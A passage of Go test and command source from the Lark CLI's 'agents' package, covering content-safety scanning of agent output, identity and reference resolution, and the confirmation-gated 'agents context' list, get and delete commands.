}
if !env.OK || env.Identity != string(core.AsBot) {
t.Errorf("ok/identity mismatch: %+v", env)
}
if env.Meta == nil || env.Meta.Count != 1 {
t.Errorf("meta.count should be 1, got %+v", env.Meta)
}
}
// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
// emit helper now runs content-safety scanning (these payloads carry untrusted
// agent text): in block mode it returns the typed block error and writes
// nothing.
func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
if err == nil {
t.Fatal("block mode should return BlockErr")
}
if !errs.IsContentSafety(err) {
t.Errorf("should be a content-safety error, got %T", err)
}
if out.Len() > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.String())
}
}
// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
// attached to the envelope without blocking output.
func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
t.Fatalf("warn mode should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("unmarshal: %v (%s)", err, out.String())
}
if env.ContentSafetyAlert == nil {
t.Error("warn mode should attach the alert to the envelope")
}
}
// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
// summaries carry untrusted agent text, so a block-mode content-safety hit
// aborts the emit with the typed block error and writes nothing (task list used
// to PrintJson directly and bypass scanning).
func TestTaskListContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
opts, _ := taskTestOpts(t, "list")
setScripted(t, scriptedHooks{listTasks: func(string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
return []iagents.TaskSummary{{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"}}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
err := agentTaskListRun(opts)
if err == nil || !errs.IsContentSafety(err) {
t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
}
if len(out.Bytes()) > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
}
}
// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
// active_task.Summary is untrusted agent text.
func TestContextGetContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
return &iagents.ContextDetail{
ContextID: ctxID, TaskCount: iagents.Int(1),
ActiveTask: &iagents.TaskSummary{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
err := agentContextGetRun(opts)
if err == nil || !errs.IsContentSafety(err) {
t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
}
if len(out.Bytes()) > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
}
}
// resolveCmd builds an `agents card` command carrying an `--as` flag. When
// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
// the passed identity verbatim (needed to exercise the identity-check branch).
func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agents"}
leaf := &cobra.Command{Use: "card"}
root.AddCommand(group)
group.AddCommand(leaf)
leaf.Flags().String("as", "", "identity")
if asChanged {
if err := leaf.Flags().Set("as", asVal); err != nil {
t.Fatal(err)
}
}
leaf.SetContext(context.Background())
return leaf
}
// TestResolveSpec_Success resolves a valid example ref under an explicit bot
// identity and returns a non-nil spec offline (no client).
func TestResolveSpec_Success(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
if err != nil {
t.Fatalf("a valid ref + bot should succeed: %v", err)
}
if spec == nil || spec.Send.Handler == nil {
t.Fatal("should return a non-nil spec with core hooks")
}
if prov.Scheme != "example" || agentID != "echo" {
t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
}
if id != core.AsBot {
t.Errorf("identity should be bot, got %s", id)
}
}
// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
// invalid_argument validation error (exit 2).
func TestResolveSpec_MalformedRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// A malformed ref teaches the <scheme>:<agent_id> shape.
if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
}
}
// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
func TestResolveSpec_UnknownScheme(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
if err == nil {
t.Fatal("an unknown scheme should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || !strings.Contains(p.Hint, "agents list") {
t.Errorf("unknown-scheme hint should point to `agents list`, got %+v", p)
}
}
// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
// framework validates it offline (a change from the old construct-only path).
func TestResolveSpec_UnknownCatalogID(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
if err == nil || spec != nil {
t.Fatal("an unknown catalog id should error with a nil spec")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
// unsupported --as is explicitly requested; no spec is returned.
func TestResolveSpec_IdentityRejected(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "admin")
_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
if err == nil {
t.Fatal("an unsupported identity should error")
}
if spec != nil {
t.Error("should not return a spec when identity validation fails")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestResolveSpec_ProviderIdentityRejected pins the provider-level identity
// contract. A user-only provider must reject bot before dry-run or any API
// operation can proceed, while user identity remains available offline.
func TestResolveSpec_ProviderIdentityRejected(t *testing.T) {
registerScripted()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
botCmd := resolveCmd(t, true, "bot")
_, spec, _, _, err := resolveSpec(f, botCmd, "fakeuseronly:agt_x", "bot")
if err == nil || spec != nil {
t.Fatal("bot should be rejected by a user-only provider")
}
p, ok := errs.ProblemOf(err)
var validationErr *errs.ValidationError
if !ok || p.Subtype != errs.SubtypeInvalidArgument || !errors.As(err, &validationErr) || validationErr.Param != "--as" {
t.Fatalf("provider identity rejection should be invalid_argument for --as, got problem=%+v err=%v", p, err)
}
userCmd := resolveCmd(t, true, "user")
_, spec, _, id, err := resolveSpec(f, userCmd, "fakeuseronly:agt_x", "user")
if err != nil {
t.Fatalf("user should be accepted by a user-only provider: %v", err)
}
if spec == nil || id != core.AsUser {
t.Fatalf("should return spec + user identity, got spec=%v id=%s", spec, id)
}
}
// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
func TestRuntimeFor_APIClientError(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
if _, err := runtimeFor(f, core.AsBot, "echo", nil); err == nil {
t.Fatal("a Config error should propagate")
}
}
// unconfiguredFactory returns a Factory whose Config() errors (simulating a
// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
// pin that the API-free paths never reach the config gate.
func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
t.Helper()
f, _, _, _ := cmdutil.TestFactory(t, nil)
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
return f
}
// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
// while runtimeFor (the client path) still fails at the config gate.
func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
if err != nil {
t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
}
if spec == nil || id != core.AsBot {
t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
}
if _, err := runtimeFor(f, id, "echo", nil); err == nil {
t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
}
}
// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
// scheme is a validation error (exit 2) even when unconfigured — it must not be
// masked by not_configured.
func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
for _, ref := range []string{"no-colon", "nope:agt_x"} {
_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
if err == nil {
t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
}
if !errs.IsValidation(err) {
t.Fatalf("ref %q should be a validation error, got %T", ref, err)
}
}
}
// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
// card` is statically synthesized and must succeed unconfigured, never hitting
// the config gate.
func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
t.Fatalf("agents card should succeed when unconfigured (API-free): %v", err)
}
}
// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
// `agents send --dry-run` is a client-side preview and must succeed
// unconfigured — the example echo card declares no parameters, so no --param is
// needed. A malformed --param must still surface as validation, unconfigured.
func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
err := agentSendRun(&sendOptions{
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
})
if err != nil {
t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
}
// A malformed --param (no '=') is still a validation error, unconfigured.
err = agentSendRun(&sendOptions{
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
Params: []string{"noequals"}, DryRun: true, As: "bot",
})
if err == nil || !errs.IsValidation(err) {
t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
}
}

View File

@@ -1,316 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"fmt"
"io"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// contextOptions holds all inputs for the `agents context list|get|delete`
// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
// Ref, As) are wired once; each RunE reads only the fields its verb needs.
type contextOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
CtxID string
Params []string
Yes bool
As string
Format string
PageSize int
PageToken string
}
// NewCmdAgentContext builds the `agents context` command group: manage a remote
// agent's multi-turn contexts (each verb gated on its own capability:
// context_list / context_get / context_delete). It is a pure group with
// no RunE so an unknown subcommand is reported rather than silently swallowed.
func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "context",
Short: "Manage a remote agent's multi-turn contexts (sessions)",
Long: "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
}
cmd.AddCommand(NewCmdAgentContextList(f))
cmd.AddCommand(NewCmdAgentContextGet(f))
cmd.AddCommand(NewCmdAgentContextDelete(f))
return cmd
}
// NewCmdAgentContextList builds `agents context list <ref>`: enumerate the
// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "list <agent_ref>",
Short: "List a remote agent's multi-turn contexts",
Long: "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
if err := validatePageSize(opts.PageSize); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentContextListRun(opts)
},
}
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentContextGet builds `agents context get <ref> <ctx-id>`: fetch a
// single context's detail. Risk=read.
func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "get <agent_ref> <ctx-id>",
Short: "Show the detail of a single multi-turn context",
Long: "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.CtxID = args[1]
return agentContextGetRun(opts)
},
}
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentContextDelete builds `agents context delete <ref> <ctx-id>`: destroy
// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
// requires --yes; without it the command returns a confirmation_required error
// (exit 10) before touching the API. Risk=high-risk-write.
func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "delete <agent_ref> <ctx-id>",
Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
Long: "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.CtxID = args[1]
return agentContextDeleteRun(opts)
},
}
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除(高危操作,不加则返回 exit 10")
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
return cmd
}
// agentContextListRun runs `context list`: resolves the provider, lists
// contexts in the provider's most-recent-first order, and emits {contexts:[...]}
// with meta.count through content-safety scanning (the rollup is derived from
// untrusted agent activity).
func agentContextListRun(opts *contextOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Capability gate BEFORE the client: context_list is derived from ListContexts
// being wired, so a spec without it returns unsupported_capability offline.
if spec.ListContexts.Handler == nil {
return capabilityError(opts.Ref, "context list", iagents.CapContextList)
}
// Per-capability brand gate: applies only to a wired op.
if err := opBrandGate(f, spec.ListContexts.Brands, opts.Ref, "context list"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.ListContexts.Params, iagents.VerbContextList, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
contexts, pageInfo, err := spec.ListContexts.Handler(opts.Cmd.Context(), rt,
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
if err != nil {
return err
}
// Ordering is the provider's contract (most-recent-first), consistent across
// and within pages — the CLI does not re-sort a page.
if contexts == nil {
contexts = []iagents.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
}
return scanAndEmitData(f, opts.Cmd, opts.Format,
map[string]interface{}{"contexts": contexts},
listMetaPage(len(contexts), pageInfo, contextListNext(opts, f, pageInfo)),
func(w io.Writer) { printContextsTSV(w, contexts) })
}
// contextListNext builds the next-page action for `context list`, replaying the
// caller's ref with the returned cursor. The ref is gated by safeNextRef; a
// failing ref drops the action (the cursor still rides meta.page_token as data).
func contextListNext(opts *contextOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
if !safeNextRef(opts.Ref) {
return nil
}
next := nextPageAction(fmt.Sprintf("lark-cli agents context list %s", opts.Ref), opts.PageSize, info)
carryAsIntoNext(opts.Cmd, f, next)
return next
}
// agentContextGetRun runs `context get`: resolves the provider, fetches the
// context detail (metadata + rollup + the single active_task, NOT the full task
// list), derives the active task's IsTerminal, and emits it through
// content-safety scanning (active_task.Summary is untrusted agent text).
func agentContextGetRun(opts *contextOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Capability gate BEFORE the client.
if spec.GetContext.Handler == nil {
return capabilityError(opts.Ref, "context get", iagents.CapContextGet)
}
// Per-capability brand gate: applies only to a wired op.
if err := opBrandGate(f, spec.GetContext.Brands, opts.Ref, "context get"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.GetContext.Params, iagents.VerbContextGet, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
detail, err := spec.GetContext.Handler(opts.Cmd.Context(), rt, opts.CtxID)
if err != nil {
return err
}
if detail != nil && detail.ActiveTask != nil {
// Derive IsTerminal from State (single source of truth) for the active task
// summary before emission — the provider only fills State.
detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
}
return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
func(w io.Writer) { printContextDetailPretty(w, detail) })
}
// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
// first so a missing confirmation returns confirmation_required (exit 10) before
// any provider is built and holds even under a nil Factory. Only a
// confirmed delete reaches resolveSpec + DeleteContext.
func agentContextDeleteRun(opts *contextOptions) error {
if !opts.Yes {
// Not the generic English RequireConfirmation: deletion is the most
// destructive gate in the agent tree, so the message must state the
// irreversible blast radius in the same voice (Chinese, self-contained)
// as the other two exit-10 gates.
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents context delete",
"删除会话将不可逆地移除该会话及其名下全部任务记录").
WithHint("确认要删除后,加 --yes 重发")
}
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Capability gate BEFORE the client.
if spec.DeleteContext.Handler == nil {
return capabilityError(opts.Ref, "context delete", iagents.CapContextDelete)
}
// Per-capability brand gate: applies only to a wired op.
if err := opBrandGate(f, spec.DeleteContext.Brands, opts.Ref, "context delete"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.DeleteContext.Params, iagents.VerbContextDelete, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
if err := spec.DeleteContext.Handler(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}

View File

@@ -1,578 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
// contextCmdCtx builds a `lark-cli agents context <leaf>` command whose --as flag
// is set to bot so ResolveAs honors it verbatim, and carries a context.
func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agents"}
grp := &cobra.Command{Use: "context"}
l := &cobra.Command{Use: leaf}
root.AddCommand(group)
group.AddCommand(grp)
grp.AddCommand(l)
l.Flags().String("as", "", "identity")
if err := l.Flags().Set("as", "bot"); err != nil {
t.Fatal(err)
}
l.SetContext(context.Background())
return l
}
// contextTestOpts wires a contextOptions against a real (test) Factory,
// addressing the scripted fakeflow agent agt_x under a bot identity. The
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
// test; provider behavior is scripted via setScripted.
func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
t.Helper()
registerScripted()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, reg := cmdutil.TestFactory(t, cfg)
return &contextOptions{
Factory: f,
Cmd: contextCmdCtx(t, leaf),
Ref: "fakeflow:agt_x",
As: "bot",
PageSize: defaultPageSize,
}, reg
}
// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
// confirmation_required error (exit 10), raised before any provider is built.
func TestContextDeleteRequiresYes(t *testing.T) {
err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
if err == nil {
t.Fatal("context delete without --yes should report confirmation_required")
}
if !errs.IsConfirmationRequired(err) {
t.Fatalf("should be a confirmation_required error, got %T", err)
}
if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
t.Fatalf("exit code should be 10, got %d", code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
t.Fatalf("subtype should be confirmation_required, got %+v", p)
}
}
// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
// deletes the session, and emits a success envelope.
func TestContextDeleteWithYes(t *testing.T) {
opts, _ := contextTestOpts(t, "delete")
opts.CtxID = "sess_1"
opts.Yes = true
var deleted string
setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
deleted = ctxID
return nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextDeleteRun(opts); err != nil {
t.Fatalf("context delete --yes should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["context_id"] != "sess_1" || data["deleted"] != true {
t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
}
if deleted != "sess_1" {
t.Errorf("provider should receive the context id to delete, got %q", deleted)
}
}
// TestContextDeleteProviderError surfaces a provider DeleteContext failure
// (non-zero business code) after --yes passes.
func TestContextDeleteProviderError(t *testing.T) {
opts, _ := contextTestOpts(t, "delete")
opts.CtxID = "sess_1"
opts.Yes = true
setScripted(t, scriptedHooks{deleteContext: func(string) error {
return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextDeleteRun(opts); err == nil {
t.Fatal("a DeleteContext error should propagate")
}
}
// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
// after the --yes confirmation guard passes.
func TestContextDeleteInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextListEmitsContexts pins that `context list` returns
// {contexts:[...]} with a meta.count.
func TestContextListEmitsContexts(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return []iagents.ContextSummary{
{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
{ContextID: "sess_2"},
}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
contexts, ok := data["contexts"].([]interface{})
if !ok || len(contexts) != 2 {
t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
}
if env.Meta == nil || env.Meta.Count != 2 {
t.Errorf("meta.count should be 2, got %+v", env.Meta)
}
}
// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
// contract: the provider returns contexts in most-recent-first order (its
// contract), and the command emits them verbatim while carrying the updated_at /
// awaiting_input rollup for each (task_count is a `context get` field, never a
// list one).
func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return []iagents.ContextSummary{
{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", AwaitingInput: true},
{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z"},
{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z"},
}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
